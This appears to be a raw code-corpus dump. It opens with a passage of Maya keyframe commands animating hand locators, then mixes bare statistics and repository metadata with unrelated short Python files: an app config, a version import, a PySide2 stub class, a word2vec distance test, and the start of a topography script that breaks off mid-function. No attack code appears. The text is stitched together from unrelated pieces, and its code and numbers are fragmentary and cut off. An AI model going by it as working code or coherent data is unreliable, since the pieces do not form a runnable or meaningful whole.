move(2.6831918, 2.05183,-0.44892883) setKeyframe() currentTime(234) move(2.7503073, 2.2740667,-0.36686963) setKeyframe() currentTime(240) move(2.796912, 2.4753232,-0.30210927) setKeyframe() currentTime(246) move(2.8202262, 2.6416008,-0.26972845) setKeyframe() currentTime(252) move(2.8443117, 2.7603636,-0.27784264) setKeyframe() currentTime(258) move(2.8717718, 2.8255408,-0.2746272) setKeyframe() currentTime(264) move(2.891155, 2.8342276,-0.25549877) setKeyframe() currentTime(270) move(2.901972, 2.8160682,-0.24788475) setKeyframe() spaceLocator(name="origin0-3") currentTime(0) move(4.9332385, 1.227735,-0.81143415) setKeyframe() currentTime(6) move(4.9149466, 1.1953759,-0.78910416) setKeyframe() currentTime(12) move(4.9059978, 1.1818752,-0.7461312) setKeyframe() currentTime(18) move(4.9087067, 1.1645598,-0.70693076) setKeyframe() currentTime(24) move(4.917535, 1.1666789,-0.63637084) setKeyframe() currentTime(30) move(4.902933, 1.2298055,-0.54015076) setKeyframe() currentTime(36) move(4.8738875, 1.324142,-0.4584902) setKeyframe() currentTime(42) move(4.8518596, 1.4513259,-0.3758062) setKeyframe() currentTime(48) move(4.8517942, 1.6163912,-0.30793765) setKeyframe() currentTime(54) move(4.8533177, 1.790731,-0.2442372) setKeyframe() currentTime(60) move(4.848377, 1.9875484,-0.17643413) setKeyframe() currentTime(66) move(4.8468227, 2.174949,-0.1305645) setKeyframe() currentTime(72) move(4.8495092, 2.4315498,-0.058031462) setKeyframe() currentTime(78) move(4.871672, 2.6452198,0.0023627656) setKeyframe() currentTime(84) move(4.946711, 2.7423584,0.04844391) setKeyframe() currentTime(90) move(5.0424757, 2.6678398,0.08744977) setKeyframe() currentTime(96) move(5.0964394, 2.512719,0.08724707) setKeyframe() currentTime(102) move(5.097805, 2.3180192,0.04686011) setKeyframe() currentTime(108) move(5.068327, 2.1305435,-0.0077057974) setKeyframe() currentTime(114) move(5.0164127, 1.9530149,-0.0689007) setKeyframe() currentTime(120) move(4.962038, 1.7715087,-0.13292122) setKeyframe() currentTime(126) move(4.9205456, 1.6126752,-0.18161513) setKeyframe() currentTime(132) move(4.9202743, 1.5071964,-0.263407) setKeyframe() currentTime(138) move(5.1405134, 1.9059172,-1.1231389) setKeyframe() currentTime(144) move(5.1256585, 1.9731712,-1.4276968) setKeyframe() currentTime(150) move(5.084426, 2.0246363,-1.6413227) setKeyframe() currentTime(156) move(5.084045, 2.1343036,-1.7601006) setKeyframe() currentTime(162) move(5.104886, 2.2862208,-1.8401327) setKeyframe() currentTime(168) move(5.1235304, 2.3711562,-1.7764817) setKeyframe() currentTime(174) move(5.1738696, 2.3497002,-1.4400268) setKeyframe() currentTime(180) move(5.179271, 2.2924104,-0.9905047) setKeyframe() currentTime(186) move(4.9220724, 2.1842325,-0.77401716) setKeyframe() currentTime(192) move(2.962545, 1.4862428,-1.888376) setKeyframe() currentTime(198) move(4.459012, 1.8999057,-0.6409983) setKeyframe() currentTime(204) move(2.741313, 1.1538167,-1.9951897) setKeyframe() currentTime(210) move(4.215264, 1.5191402,-0.677605) setKeyframe() currentTime(216) move(2.647739, 0.866272,-2.1698253) setKeyframe() currentTime(222) move(4.4379406, 1.5106864,-0.56306577) setKeyframe() currentTime(228) move(4.7280235, 1.7232432,-0.35555598) setKeyframe() currentTime(234) move(4.84167, 1.9163432,-0.28000757) setKeyframe() currentTime(240) move(4.9211416, 2.109142,-0.22329985) setKeyframe() currentTime(246) move(4.965218, 2.2563365,-0.2355311) setKeyframe() currentTime(252) move(5.001111, 2.3437667,-0.21525736) setKeyframe() currentTime(258) move(5.03127, 2.4053202,-0.21393068) setKeyframe() currentTime(264) move(5.0564504, 2.4228225,-0.22178406) setKeyframe() currentTime(270) move(5.06634, 2.3994868,-0.23094329) setKeyframe() spaceLocator(name="origin0-4") currentTime(0) move(2.6809893, 0.5609951,-2.5409594) setKeyframe() currentTime(6) move(2.667763, 0.5362892,-2.5179732) setKeyframe() currentTime(12) move(2.6627886, 0.5299568,-2.4978898) setKeyframe() currentTime(18) move(2.6682568, 0.5158067,-2.4678588) setKeyframe() currentTime(24) move(2.6751113, 0.5076289,-2.3928752) setKeyframe() currentTime(30) move(2.661593, 0.5402889,-2.311477) setKeyframe() currentTime(36) move(2.629088, 0.6167531,-2.2556734) setKeyframe() currentTime(42) move(2.6001225, 0.7293062,-2.2057314) setKeyframe() currentTime(48) move(2.5873742, 0.8658123,-2.146381) setKeyframe() currentTime(54) move(2.5732284, 1.0132885,-2.095825) setKeyframe() currentTime(60) move(2.549899, 1.1647301,-2.0601516) setKeyframe() currentTime(66) move(2.5245364, 1.2890606,-2.0182216) setKeyframe() currentTime(72) move(2.4965808, 1.4583402,-1.9505455) setKeyframe() currentTime(78) move(2.4789689, 1.6250257,-1.8867742) setKeyframe() currentTime(84) move(2.5060742, 1.7399635,-1.7758129) setKeyframe() currentTime(90) move(2.5689034, 1.7327485,-1.6616511) setKeyframe() currentTime(96) move(2.617492, 1.6360068,-1.6277739) setKeyframe() currentTime(102) move(2.6450167, 1.4907155,-1.6483458) setKeyframe() currentTime(108) move(2.656746, 1.3327956,-1.7096384) setKeyframe() currentTime(114) move(2.6513388, 1.1755161,-1.7922664) setKeyframe() currentTime(120) move(2.6486228, 1.01757,-1.8630667) setKeyframe() currentTime(126) move(2.6447842, 0.8751793,-1.9039646) setKeyframe() currentTime(132) move(2.6558485, 0.7804966,-1.9661752) setKeyframe() currentTime(138) move(2.7357233, 1.1630669,-2.7207496) setKeyframe() currentTime(144) move(2.7166607, 1.247385,-3.0662873) setKeyframe() currentTime(150) move(2.6881576, 1.3132334,-3.2798185) setKeyframe() currentTime(156) move(2.6718566, 1.3985076,-3.381085) setKeyframe() currentTime(162) move(2.6572754, 1.5261474,-3.478348) setKeyframe() currentTime(168) move(2.6391416, 1.613411,-3.4291608) setKeyframe() currentTime(174) move(2.6481333, 1.5658741,-3.1338696) setKeyframe() currentTime(180) move(2.630821, 1.4713721,-2.7734146) setKeyframe() currentTime(186) move(2.5740879, 1.4046373,-2.428128) setKeyframe() currentTime(192) move(2.447583, 1.315568,-2.1762867) setKeyframe() currentTime(198) move(2.3388472, 1.1259785,-2.2739127) setKeyframe() currentTime(204) move(2.2798066, 0.87949514,-2.3797126) setKeyframe() currentTime(210) move(2.236291, 0.72039366,-2.5589714) setKeyframe() currentTime(216) move(2.244983, 0.7346153,-2.5301745) setKeyframe() currentTime(222) move(2.2963927, 0.8630214,-2.359774) setKeyframe() currentTime(228) move(2.3859363, 1.007936,-2.2520866) setKeyframe() currentTime(234) move(2.4462345, 1.1391015,-2.1630323) setKeyframe() currentTime(240) move(2.482179, 1.2509804,-2.0954359) setKeyframe() currentTime(246) move(2.491643, 1.3569598,-2.0018907) setKeyframe() currentTime(252) move(2.5391092, 1.3817506,-2.0336509) setKeyframe() currentTime(258) move(2.569142, 1.389936,-2.0763342) setKeyframe() spaceLocator(name="finger0-0") currentTime(0) move(3.4439123, 1.2543001,2.4096165) setKeyframe() currentTime(6) move(3.4260318, 1.2168365,2.4306154) setKeyframe() currentTime(12) move(3.4203248, 1.2037783,2.4498656) setKeyframe() currentTime(18) move(3.4271667, 1.1795573,2.482305) setKeyframe() currentTime(24) move(3.4346993, 1.1765566,2.5615768) setKeyframe() currentTime(30) move(3.4112594, 1.2436843,2.6620584) setKeyframe() currentTime(36) move(3.3667877, 1.3669167,2.7564838) setKeyframe() currentTime(42) move(3.3339913, 1.5390806,2.8557162) setKeyframe() currentTime(48) move(3.3246136, 1.7377934,2.9692848) setKeyframe() currentTime(54) move(3.3121336, 1.9445157,3.0716887) setKeyframe() currentTime(60) move(3.2815752, 2.1649573,3.1635678) setKeyframe() currentTime(66) move(3.2446344, 2.369092,3.249158) setKeyframe() currentTime(72) move(3.208172, 2.6421509,3.3712277) setKeyframe() currentTime(78) move(3.2059238, 2.8981466,3.4766111) setKeyframe() currentTime(84) move(3.2929254, 3.059537,3.6099715) setKeyframe() currentTime(90) move(3.4242086, 3.0248492,3.7309504) setKeyframe() currentTime(96) move(3.5229864, 2.8368816,3.7434878) setKeyframe() currentTime(102) move(3.5575626, 2.5876377,3.661647) setKeyframe() currentTime(108) move(3.5435812, 2.3551624,3.561012) setKeyframe() currentTime(114) move(3.5004683, 2.1252866,3.436664) setKeyframe() currentTime(120) move(3.4632325, 1.9035549,3.319022) setKeyframe() currentTime(126) move(3.4377427, 1.7034473,3.2243154) setKeyframe() currentTime(132) move(3.4485073, 1.5735321,3.11958) setKeyframe() currentTime(138) move(3.6330914, 2.123568,2.403081) setKeyframe() currentTime(144) move(3.6061263, 2.2227256,2.083126) setKeyframe() currentTime(150) move(3.578889, 2.3129776,1.8814393) setKeyframe() currentTime(156) move(3.579219, 2.4846401,1.787909) setKeyframe() currentTime(162) move(3.5820727, 2.727881,1.7602446) setKeyframe() currentTime(168) move(3.5772214, 2.898021,1.8551543) setKeyframe() currentTime(174) move(3.5895858, 2.95197,2.2092252) setKeyframe() currentTime(180) move(3.5772893, 3.0264935,2.6530728) setKeyframe() currentTime(186) move(3.5483875, 3.1024888,3.009125) setKeyframe() currentTime(192) move(3.4706893, 3.0864751,3.2037706) setKeyframe() currentTime(198) move(3.378288, 2.8219962,3.2176902) setKeyframe() currentTime(204) move(3.9874952, 2.387618,3.0340598) setKeyframe() currentTime(210) move(3.7625875, 2.155307,3.1120052) setKeyframe() currentTime(216) move(3.692845, 2.0060098,2.965126) setKeyframe() currentTime(222) move(3.0669827, 2.114031,2.9663072) setKeyframe() currentTime(228) move(3.1245747, 2.336089,3.0616817) setKeyframe() currentTime(234) move(3.2182336, 2.5883868,3.1969428) setKeyframe() currentTime(240) move(3.2879446, 2.83387,3.273617) setKeyframe() currentTime(246) move(3.333766, 3.0277321,3.3304992) setKeyframe() currentTime(252) move(3.368862, 3.1739013,3.34622) setKeyframe() currentTime(258) move(3.4013267, 3.262906,3.3761284) setKeyframe() currentTime(264) move(3.4280386, 3.292576,3.3984528) setKeyframe() currentTime(270) move(3.4449587, 3.2631364,3.3983734) setKeyframe() spaceLocator(name="finger0-1") currentTime(0) move(4.2999897, 1.1598115,2.1520982) setKeyframe() currentTime(6) move(4.281319, 1.1208668,2.180956) setKeyframe() currentTime(12) move(4.273523, 1.1078396,2.2013788) setKeyframe() currentTime(18) move(4.2781157, 1.0853896,2.2351077) setKeyframe() currentTime(24) move(4.2875805, 1.0817628,2.3112254) setKeyframe() currentTime(30) move(4.270447, 1.1487703,2.4155679) setKeyframe() currentTime(36) move(4.2333965, 1.2626815,2.5146782) setKeyframe() currentTime(42) move(4.2083406, 1.4238634,2.6225903) setKeyframe() currentTime(48) move(4.2072964, 1.6187673,2.7347987) setKeyframe() currentTime(54) move(4.2026925, 1.826118,2.8473763) setKeyframe() currentTime(60) move(4.1864076, 2.0520458,2.9455595) setKeyframe() currentTime(66) move(4.164235, 2.2534344,3.0314758) setKeyframe() currentTime(72) move(4.147929, 2.5268,3.1599174) setKeyframe() currentTime(78) move(4.160417, 2.7721353,3.26124) setKeyframe() currentTime(84) move(4.2518992, 2.9153128,3.3716486) setKeyframe() currentTime(90) move(4.380629, 2.86562,3.4546566) setKeyframe() currentTime(96) move(4.456758, 2.6900768,3.4434571) setKeyframe() currentTime(102) move(4.46889, 2.4568734,3.369056) setKeyframe() currentTime(108) move(4.440574, 2.2251546,3.2763026) setKeyframe() currentTime(114) move(4.3831606, 2.004161,3.168118) setKeyframe() currentTime(120) move(4.333008, 1.7959719,3.0641208) setKeyframe() currentTime(126) move(4.297533, 1.6082621,2.978768) setKeyframe() currentTime(132) move(4.299901, 1.4847178,2.8719342) setKeyframe() currentTime(138) move(4.5092115, 2.0330899,2.1195278) setKeyframe() currentTime(144) move(4.492248, 2.134059,1.8249466) setKeyframe() currentTime(150) move(4.4679623, 2.208664,1.628371) setKeyframe() currentTime(156) move(4.4797783, 2.3618107,1.5444638) setKeyframe() currentTime(162) move(4.503967, 2.603434,1.4939913) setKeyframe() currentTime(168) move(4.5181675, 2.7540312,1.5808865) setKeyframe() currentTime(174) move(4.5583625, 2.7844665,1.957156) setKeyframe() currentTime(180) move(4.5878706, 2.8090627,2.4142253) setKeyframe() currentTime(186) move(4.409751, 2.8472538,2.7350943) setKeyframe() currentTime(192) move(2.9246445, 2.6841161,2.4735863) setKeyframe() currentTime(198) move(3.972949, 2.6069632,2.9010127) setKeyframe() currentTime(204) move(2.5164082, 2.1780593,2.3356493) setKeyframe() currentTime(210) move(2.877827, 2.2136319,2.900815) setKeyframe() currentTime(216) move(2.4074907, 1.7877402,2.1320312) setKeyframe() currentTime(222) move(3.823146, 1.9942079,2.7874813) setKeyframe() currentTime(228) move(4.0984163, 2.2108843,2.8995416) setKeyframe() currentTime(234) move(4.2248545, 2.4578059,2.9993844) setKeyframe() currentTime(240) move(4.3053637, 2.6911688,3.0802069) setKeyframe() currentTime(246) move(4.3566933, 2.872276,3.1089737) setKeyframe() currentTime(252) move(4.3973618, 3.0029202,3.1393194) setKeyframe() currentTime(258) move(4.4361796, 3.0876095,3.179997) setKeyframe() currentTime(264) move(4.461062, 3.106465,3.1838105) setKeyframe() currentTime(270) move(4.473367, 3.0833993,3.1841514) setKeyframe() spaceLocator(name="finger0-2") currentTime(0) move(2.7598677, 1.1571217,1.675386) setKeyframe() currentTime(6) move(2.7463017, 1.1221766,1.6948036) setKeyframe() currentTime(12) move(2.7465606, 1.1067753,1.7099801) setKeyframe() currentTime(18) move(2.759244, 1.0840111,1.7452987) setKeyframe() currentTime(24) move(2.76775, 1.0786924,1.8247875) setKeyframe() currentTime(30) move(2.7452657, 1.1363959,1.9200069) setKeyframe() currentTime(36) move(2.6974082, 1.247644,1.9975358) setKeyframe() currentTime(42) move(2.6558578, 1.4074569,2.0816863) setKeyframe() currentTime(48) move(2.6373374, 1.5886207,2.180998) setKeyframe() currentTime(54) move(2.6124203, 1.7833171,2.2785606) setKeyframe() currentTime(60) move(2.5781085, 1.9905095,2.3667169) setKeyframe() currentTime(66) move(2.5381644, 2.170295,2.4453068) setKeyframe() currentTime(72) move(2.4969823, 2.4089174,2.5613668) setKeyframe() currentTime(78) move(2.4829535, 2.6407492,2.6584983) setKeyframe() currentTime(84) move(2.5511131, 2.7927303,2.8077762) setKeyframe() currentTime(90) move(2.6713614, 2.7560697,2.9599729) setKeyframe() currentTime(96) move(2.7652035, 2.592742,2.9897149) setKeyframe() currentTime(102) move(2.7987013, 2.3856144,2.9357963) setKeyframe() currentTime(108) move(2.8025389, 2.1575644,2.8357623) setKeyframe() currentTime(114) move(2.7797995, 1.9328098,2.6989863) setKeyframe() currentTime(120) move(2.7630508, 1.7183537,2.573579) setKeyframe() currentTime(126) move(2.7503512, 1.5231991,2.474679) setKeyframe() currentTime(132) move(2.7726011, 1.3948989,2.375844) setKeyframe() currentTime(138) move(2.9452972, 1.9234476,1.7075889) setKeyframe() currentTime(144) move(2.9231534, 2.01955,1.3915502) setKeyframe() currentTime(150) move(2.894729, 2.101439,1.1726187) setKeyframe() currentTime(156) move(2.881025, 2.251237,1.0758674) setKeyframe() currentTime(162) move(2.8637588, 2.4472091,1.0280231) setKeyframe() currentTime(168) move(2.834746, 2.5952456,1.0988368) setKeyframe() currentTime(174) move(2.8066225, 2.6046963,1.4542736) setKeyframe() currentTime(180) move(2.7506762, 2.6250403,1.8537734) setKeyframe() currentTime(186) move(2.899773, 2.6084158,2.1495848) setKeyframe() currentTime(192) move(4.6394978, 2.0716581,1.9540068) setKeyframe() currentTime(198) move(2.8565705, 2.3109956,2.2469304) setKeyframe() currentTime(204) move(4.318674, 1.6772108,1.9462459) setKeyframe() currentTime(210) move(2.6294923, 1.794332,2.0456834) setKeyframe() currentTime(216) move(4.152251, 1.349371,1.8038166) setKeyframe() currentTime(222) move(2.4243505, 1.7102079,1.9735665) setKeyframe() currentTime(228) move(2.3378057, 1.9276748,2.1261168) setKeyframe() currentTime(234) move(2.4025872, 2.1746132,2.2661278) setKeyframe() currentTime(240) move(2.4507117, 2.4036112,2.3666677) setKeyframe() currentTime(246) move(2.4783952, 2.590481,2.4422386) setKeyframe() currentTime(252) move(2.5056682, 2.7242036,2.4943895) setKeyframe() currentTime(258) move(2.5340667, 2.810087,2.5243278) setKeyframe() currentTime(264) move(2.5575142, 2.834389,2.5480635) setKeyframe() currentTime(270) move(2.5728931, 2.8158567,2.560401) setKeyframe() spaceLocator(name="finger0-3") currentTime(0) move(4.7831984, 0.80087566,0.9538843) setKeyframe() currentTime(6) move(4.766133, 0.7670703,0.9760091) setKeyframe() currentTime(12) move(4.7588644, 0.7559333,1.0022224) setKeyframe() currentTime(18) move(4.7628536, 0.73898125,1.0361196) setKeyframe() currentTime(24) move(4.772839, 0.7392192,1.1109185) setKeyframe() currentTime(30) move(4.758968, 0.8015876,1.2204394) setKeyframe() currentTime(36) move(4.729004, 0.89590406,1.3194355) setKeyframe() currentTime(42) move(4.706092, 1.0263395,1.4195497) setKeyframe() currentTime(48) move(4.706134, 1.1943264,1.5237676) setKeyframe() currentTime(54) move(4.7092824, 1.3738766,1.6222728) setKeyframe() currentTime(60) move(4.705922, 1.5768495,1.719309) setKeyframe() currentTime(66) move(4.700694, 1.7649064,1.8061671) setKeyframe() currentTime(72) move(4.7025056, 2.0261834,1.9475096) setKeyframe() currentTime(78) move(4.7239175, 2.251166,2.0682328) setKeyframe() currentTime(84) move(4.8017826, 2.359414,2.1520174) setKeyframe() currentTime(90) move(4.9042244, 2.2841537,2.1869547) setKeyframe() currentTime(96) move(4.969259, 2.126686,2.1620011) setKeyframe() currentTime(102) move(4.981373, 1.9293089,2.0935807) setKeyframe() currentTime(108) move(4.957916, 1.7373695,2.007558) setKeyframe() currentTime(114) move(4.9078126, 1.5545378,1.9102836) setKeyframe() currentTime(120) move(4.8585067, 1.3678975,1.8164843) setKeyframe() currentTime(126) move(4.822521, 1.2039542,1.7380468) setKeyframe() currentTime(132) move(4.8217993, 1.0969095,1.6351454) setKeyframe() currentTime(138) move(5.0165224, 1.5336437,0.8811321) setKeyframe() currentTime(144) move(4.9978065, 1.6088662,0.59546983) setKeyframe() currentTime(150) move(4.9764585, 1.6670508,0.4104309) setKeyframe() currentTime(156) move(4.9942493, 1.7868395,0.32575542) setKeyframe() currentTime(162) move(5.0342827, 1.9623866,0.29447055) setKeyframe() currentTime(168) move(5.0604854, 2.0651658,0.40708402) setKeyframe() currentTime(174) move(5.096453, 2.0463455,0.75976527) setKeyframe() currentTime(180) move(5.123338, 2.004064,1.2151426) setKeyframe() currentTime(186) move(4.87145, 1.9421368,1.3714354) setKeyframe() currentTime(192) move(2.582666, 1.4271512,-0.4400589) setKeyframe() currentTime(198) move(4.396283, 1.6949787,1.4086468) setKeyframe() currentTime(204) move(2.3462508, 1.1130581,-0.61623836) setKeyframe() currentTime(210) move(4.1363425, 1.2903957,1.3195975) setKeyframe() currentTime(216) move(2.2763958, 0.8147197,-0.79864675) setKeyframe() currentTime(222) move(4.390039, 1.2359962,1.4910002) setKeyframe() currentTime(228) move(4.7211285, 1.4323235,1.7864395) setKeyframe() currentTime(234) move(4.8501296, 1.6402249,1.8897473) setKeyframe() currentTime(240) move(4.9347606, 1.8459525,1.9879003) setKeyframe() currentTime(246) move(4.9853477, 2.00608,2.01509) setKeyframe() currentTime(252) move(5.023352, 2.1087217,2.0576897) setKeyframe() currentTime(258) move(5.0576873, 2.178093,2.086171) setKeyframe() currentTime(264) move(5.082314, 2.1988232,2.0985389) setKeyframe() currentTime(270) move(5.094274, 2.1755261,2.093614) setKeyframe() spaceLocator(name="finger0-4") currentTime(0) move(2.254638, 0.6096797,-1.290497) setKeyframe() currentTime(6) move(2.244688, 0.58255625,-1.2772471) setKeyframe() currentTime(12) move(2.2421796, 0.57352734,-1.2636402) setKeyframe() currentTime(18) move(2.2480924, 0.5581384,-1.2349935) setKeyframe() currentTime(24) move(2.2545044, 0.54777527,-1.159006) setKeyframe() currentTime(30) move(2.2396953, 0.57621145,-1.0749817) setKeyframe() currentTime(36) move(2.1999197, 0.648015,-1.0040394) setKeyframe() currentTime(42) move(2.1606205, 0.75621176,-0.93156016) setKeyframe() currentTime(48) move(2.1347008, 0.888041,-0.8410065) setKeyframe() currentTime(54) move(2.1082115, 1.0280437,-0.75823545) setKeyframe() currentTime(60) move(2.073969, 1.1734776,-0.6956) setKeyframe() currentTime(66) move(2.0387285, 1.2957692,-0.64150995) setKeyframe() currentTime(72) move(2.003512, 1.4571266,-0.55555105) setKeyframe() currentTime(78) move(1.9825151, 1.6154299,-0.47175145) setKeyframe() currentTime(84) move(2.0079374, 1.7233987,-0.3332127) setKeyframe() currentTime(90) move(2.0729423, 1.7073684,-0.19782716) setKeyframe() currentTime(96) move(2.1241446, 1.6062031,-0.16407102) setKeyframe() currentTime(102) move(2.1529253, 1.4610243,-0.19761026) setKeyframe() currentTime(108) move(2.1661637, 1.3048878,-0.28123292) setKeyframe() currentTime(114) move(2.1631134, 1.1504078,-0.39638817) setKeyframe() currentTime(120) move(2.1680093, 0.9951701,-0.50404656) setKeyframe() currentTime(126) move(2.1730273, 0.8561597,-0.5815099) setKeyframe() currentTime(132) move(2.1959941, 0.7611761,-0.66326225) setKeyframe() currentTime(138) move(2.3177238, 1.1304336,-1.3424175) setKeyframe() currentTime(144) move(2.300603, 1.2080326,-1.6494272) setKeyframe() currentTime(150) move(2.2767496, 1.2694507,-1.8579509) setKeyframe() currentTime(156) move(2.2630174, 1.3549137,-1.9538432) setKeyframe() currentTime(162) move(2.2538834, 1.4646807,-2.0132446) setKeyframe() currentTime(168) move(2.2346826, 1.5476532,-1.9459492) setKeyframe() currentTime(174) move(2.2375603, 1.5065289,-1.6687882) setKeyframe() currentTime(180) move(2.2074413, 1.4225717,-1.3566478) setKeyframe() currentTime(186) move(2.13258, 1.3696318,-1.0850074) setKeyframe() currentTime(192) move(1.9731684, 1.3102665,-0.9138006) setKeyframe() currentTime(198) move(1.854525, 1.1328444,-1.0526409) setKeyframe() currentTime(204) move(1.8115512, 0.8835392,-1.1809021) setKeyframe() currentTime(210) move(1.7883289, 0.71672773,-1.3419844) setKeyframe() currentTime(216) move(1.8024002, 0.73088455,-1.3031797) setKeyframe() currentTime(222) move(1.8500694, 0.8618469,-1.1507343) setKeyframe() currentTime(228) move(1.9142255, 1.0110297,-1.0283256) setKeyframe() currentTime(234) move(1.9433465, 1.1447086,-0.91668206) setKeyframe() currentTime(240) move(1.9621108, 1.2504869,-0.8373227) setKeyframe() currentTime(246) move(1.9611523, 1.3620234,-0.7589023) setKeyframe() currentTime(252) move(1.9948921, 1.386713,-0.7728222) setKeyframe() currentTime(258) move(2.0086718, 1.387073,-0.77405554) setKeyframe()

23.680026

44

0.738409

5,079

36,041

5.239811

0.310691

0.405892

0.006613

0.01116

0.529441

0

0.407689

0.098582

36,041

1,521

45

23.695595

0.411475

0

0.660526

0

0.002868

0

1

0

true

0

0.001316

0

0.001316

0

null

1

0

1

0

1

0

null

0

1

0

4

bd20cb16954877c5e7b99126756487e4c2071f27

49

py

Python

apps/lti_app/__init__.py

PremierLangage/premierlangage

7134a2aadffee2bf264abee6c4b23ea33f1b390b

[ "CECILL-B" ]

8

2019-01-30T13:51:59.000Z

2022-01-08T03:26:53.000Z

apps/lti_app/__init__.py

PremierLangage/premierlangage

7134a2aadffee2bf264abee6c4b23ea33f1b390b

[ "CECILL-B" ]

286

2019-01-18T21:35:51.000Z

2022-03-24T18:53:59.000Z

apps/lti_app/__init__.py

PremierLangage/premierlangage

7134a2aadffee2bf264abee6c4b23ea33f1b390b

[ "CECILL-B" ]

4

2019-02-11T13:38:30.000Z

2021-03-02T20:59:00.000Z

default_app_config = 'lti_app.apps.LtiAppConfig'

24.5

48

0.836735

7

49

5.428571

0.857143

0

0.061224

49

1

49

0.826087

0

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0

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null

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1

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1

null

0

4

bd348d08e615a50c750fffd657f6b139dc9782e6

54

py

Python

mincrawler/__init__.py

altescy/mincrawler

36d28172b37c6825d74ec9887bfabe440838d50f

[ "MIT" ]

1

2020-05-31T02:16:40.000Z

mincrawler/__init__.py

altescy/mincrawler

36d28172b37c6825d74ec9887bfabe440838d50f

[ "MIT" ]

null

mincrawler/__init__.py

altescy/mincrawler

36d28172b37c6825d74ec9887bfabe440838d50f

[ "MIT" ]

1

2021-09-21T22:36:42.000Z

from mincrawler.version import VERSION as __version__

27

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0.111111

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54

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1

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null

0

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0

1

0

4

1fb00e9cdb9aaab42d0d15370ce93791dea38495

1,977

py

Python

maya/app/renderSetup/views/propertyEditor/lightsCollection.py

arjun-namdeo/py_stubs

605bb167e239978f5417f3f1fc1f5c12e2a243cc

[ "MIT" ]

null

maya/app/renderSetup/views/propertyEditor/lightsCollection.py

arjun-namdeo/py_stubs

605bb167e239978f5417f3f1fc1f5c12e2a243cc

[ "MIT" ]

null

maya/app/renderSetup/views/propertyEditor/lightsCollection.py

arjun-namdeo/py_stubs

605bb167e239978f5417f3f1fc1f5c12e2a243cc

[ "MIT" ]

null

from maya.app.renderSetup.views.propertyEditor.expressionLabels import * from maya.app.renderSetup.views.propertyEditor.collectionStaticSelectionWidget import CollectionStaticSelectionWidget from maya.app.renderSetup.views.propertyEditor.layout import Layout from PySide2.QtWidgets import QShortcut from PySide2.QtWidgets import QPushButton from PySide2.QtWidgets import QWidget from PySide2.QtWidgets import QStyle from PySide2.QtGui import QIcon from maya.app.general.mayaMixin import MayaQWidgetBaseMixin from PySide2.QtWidgets import QAction from PySide2.QtGui import QAbstractTextDocumentLayout from PySide2.QtGui import QPen from PySide2.QtWidgets import QLineEdit from PySide2.QtGui import QPainter from PySide2.QtCore import QItemSelectionModel from PySide2.QtWidgets import QApplication from PySide2.QtWidgets import QStyledItemDelegate from PySide2.QtGui import QTextDocument from PySide2.QtCore import QTimer from PySide2.QtGui import QColor from PySide2.QtCore import QRect from PySide2.QtGui import QKeySequence from PySide2.QtWidgets import QStyleOptionViewItem from PySide2.QtCore import QSize from PySide2.QtWidgets import QFormLayout from PySide2.QtWidgets import QGroupBox from PySide2.QtWidgets import QHBoxLayout from PySide2.QtWidgets import QListWidget from maya.app.renderSetup.views.propertyEditor.collectionStaticSelectionWidget import HTMLDelegate from PySide2.QtGui import QFont from PySide2.QtWidgets import QVBoxLayout from PySide2.QtWidgets import QAbstractItemView from PySide2.QtWidgets import QTextEdit from PySide2.QtGui import QPalette class LightsCollection(MayaQWidgetBaseMixin, QGroupBox): """ This class represents the property editor view of a lights collection. """ def __init__(self, item, treeView, parent): pass def paintEvent(self, event): pass EXPRESSION_BUTTON_WIDTH = 50.0 LIST_BOX_HEIGHT = 100.0 staticMetaObject = None

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null

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1

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1

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4

1fc0c82329a01179c26ba32ed0384cbbc39f9862

567

py

Python

script/my_test/my_word2vec.py

xjtushilei/Answer_Selection

4a827f64e5361eab951713c2350632c5278404dd

[ "MIT" ]

4

2017-06-19T01:15:55.000Z

2020-02-29T03:45:26.000Z

script/my_test/my_word2vec.py

xjtushilei/Answer_Selection

4a827f64e5361eab951713c2350632c5278404dd

[ "MIT" ]

null

script/my_test/my_word2vec.py

xjtushilei/Answer_Selection

4a827f64e5361eab951713c2350632c5278404dd

[ "MIT" ]

null

from gensim.models import Word2Vec from gensim.models.keyedvectors import KeyedVectors import numpy as np word_vectors = KeyedVectors.load_word2vec_format('../data/cn.skipgram.bin/cn.skipgram.bin', binary=True, unicode_errors='ignore') # 距离，越大表示越不相似 print(word_vectors.wmdistance(['中国', '打败', '美国'], ['游戏', '好玩'])) print(word_vectors.wmdistance(['游戏', '好玩'], ['游戏', '好玩'])) print(word_vectors.wmdistance(['中国', '打败', '美国'], ['中国', '打败', '美国'])) print(word_vectors.wmdistance(['中国', '打败', '美国'], ['美国', '中国', '打败']))

43.615385

104

0.626102

72

567

4.819444

0.430556

0.158501

0.184438

0.299712

0.37464

0.276657

0

0.004202

0.160494

567

12

105

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0.72479

0.0194

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0.157324

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0

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false

0

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0.333333

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0

null

0

1

0

null

0

1

0

1

0

4

1fe8730598a1c682a4b877398d2a35151dfb4c4e

25,832

py

Python

extra/unused/bedTopo.py

whyjz/CARST

875c915e835b0e09a7eccb58833719bbfc85b635

[ "MIT" ]

10

2018-01-02T18:03:07.000Z

2022-01-25T05:36:21.000Z

extra/unused/bedTopo.py

whyjz/CARST

875c915e835b0e09a7eccb58833719bbfc85b635

[ "MIT" ]

1

2020-04-14T16:57:15.000Z

2020-05-15T16:10:17.000Z

extra/unused/bedTopo.py

whyjz/CARST

875c915e835b0e09a7eccb58833719bbfc85b635

[ "MIT" ]

4

2016-08-12T15:06:48.000Z

2019-11-27T05:33:50.000Z

#!/usr/bin/python def dirDeriv(val_mat, direction_mat, inc): import scipy; import scipy.linalg; import math; cell_angles = scipy.array([[3 * math.pi / 4, math.pi / 2, math.pi / 4], [math.pi, scipy.nan, 0], [-3 * math.pi / 4, -1 * math.pi / 2, -1 * math.pi / 4]]); cell_incs = scipy.array([[(inc**2 + inc**2)**0.5, inc, (inc**2 + inc**2)**0.5], [inc, scipy.nan, inc], [(inc**2 + inc**2)**0.5, inc, (inc**2 + inc**2)**0.5]]); angle = direction_mat[1,1]; vals_x = scipy.cos(angle - direction_mat) * val_mat; vals_y = scipy.sin(angle - direction_mat) * val_mat; cell_cosines_f = scipy.cos(angle - cell_angles); cell_cosines_b = scipy.cos(angle - cell_angles); cell_sines_f = scipy.sin(angle - cell_angles); cell_sines_b = scipy.sin(angle - cell_angles); cell_cosines_f[cell_cosines_f < 0.00001] = scipy.nan; cell_cosines_f = cell_cosines_f**2; cell_cosines_f = cell_cosines_f / sum(cell_cosines_f[~scipy.isnan(cell_cosines_f)]); cell_cosines_b[cell_cosines_b > -0.00001] = scipy.nan; cell_cosines_b = cell_cosines_b**2; 